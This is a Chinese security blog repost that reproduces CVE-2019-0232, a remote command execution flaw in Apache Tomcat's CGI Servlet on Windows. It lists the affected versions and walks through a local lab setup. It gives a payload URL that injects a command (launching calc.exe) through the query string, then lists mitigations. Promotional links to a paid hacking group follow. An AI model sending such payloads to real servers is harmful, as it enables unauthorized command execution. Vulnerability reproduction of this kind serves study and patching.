Tomcat远程代码执行(CVE-2019-0232)
2023-2-26 21:36:39 Author: 渗透安全团队(查看原文) 阅读量:15 收藏

2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。

该漏洞只对Windows平台有效,Apache Tomcat 9.0.0.M19.0.178.5.08.5.397.0.07.0.93中的CGI Servlet很容易受到远程执行代码的影响,攻击者向CGI Servlet发送一个精心设计的请求,可以在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令,漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中输入验证错误而存在该漏洞。

1、系统为Windows2、启用了CGI Servlet3、启用了enableCmdLineArguments(Tomcat9.0.*及官方未来发布版本默认为关闭)。
Apache Tomcat 9.0.0.M1~9.0.17Apache Tomcat 8.5.0 ~ 8.5.39Apache Tomcat 7.0.0 ~ 7.0.93(本漏洞测试环境为Apache Tomcat 9.0.13)

下载地址为:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.13/

1、下载好安装包之后,进入bin目录执行startup.bat启动tomcat。

2、我们访问链接:http://localhost:8080/

3、修改配置文件,TomcatCGI Servlrt组件默认时关闭的,在conf/web.xml中找到CGIServlet部分,删除注释,并配置enableCmdLineArguments和executable(删除注释的一共两部分,源文件没有enableCmdLineArgumentsexecutable参数所以需要手打即下方红框内容)。

添加内容如下:

    <servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

红框中,是我们需要添加的内容并删除注释。

这个红框中,默认也是注释的,我们需要放开注释。

4、接着修改conf/conttext.xml文档中的<Context>添加 privileged="true"的语句。

5、在apache-tomcat-9.0.13安装包中的webapps/ROOT/WEB-INF目录下新建cgi-bin文件夹,并在文件夹内创建bat文件,bat文件内容如下。

@echo off
echo Content-Type: test/plain
echo.
set foo=&~1
%foo%

配置完成之后,我们重启Tomcat服务。

6、利用payload:http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

7、漏洞复现完成。

1、禁用enableCmdLineArguments参数。2、在conf/web.xml中覆写采用更严格的参数合法性检验规则。3、升级tomcat到9.0.17以上的版本。


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247498713&idx=2&sn=a249bda5016373001de05c901867521d&chksm=c1760676f6018f60fcafa140b261f5043b07b0bd96e5368f8f9123bc93490f061479bd87bb77#rd
如有侵权请联系:admin#unsafe.sh